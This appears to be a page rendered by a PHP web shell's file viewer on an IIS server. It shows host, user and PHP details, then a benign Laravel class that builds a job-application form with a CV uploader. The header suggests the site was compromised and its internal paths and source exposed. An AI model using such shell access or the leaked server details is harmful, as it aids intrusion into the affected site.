HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/werkenbij.komma.pro/app/Komma/Composers/ApplyFormComposer.php
<?php


namespace App\Komma\Composers;


use App\Komma\Jobs\Models\Job;
use App\Komma\Kms\Core\Attributes\Attribute;
use App\Komma\Kms\Core\Attributes\Documents;
use Illuminate\View\View;

class ApplyFormComposer
{
    /**
     * @param View $view
     */
    public function compose(View $view)
    {
        $jobs = Job::where('active', '>', 0)->with('translation')->get();
        $jobSelectOptions = [];
        foreach ($jobs as $job) {
            $jobSelectOptions[$job->translation->name] = $job->translation->name;
        }
        $view->with([
            'jobSelectOptions' => $jobSelectOptions
        ]);

        $documentsUploader = self::documentsAttribute();
        $view->with('documentsUploader', $documentsUploader);
    }

    /**
     * @return Attribute
     */
    public static function documentsAttribute()
    {
        //Add a document uploader for the page with code name apply
        $documentsUploader = (new Documents())
            ->setSmallDragAndDropArea()
            ->setAccept('application/msword, application/vnd.openxmlformats-officedocument.wordprocessingml.document, application/pdf')
            ->setLabelText(__('CV'))
            ->setMaxDocuments(1)
            ->setSubFolder('resumes')
            ->mapValueFrom(Attribute::ValueFromDocuments, 'resumes');

        return $documentsUploader;
    }
}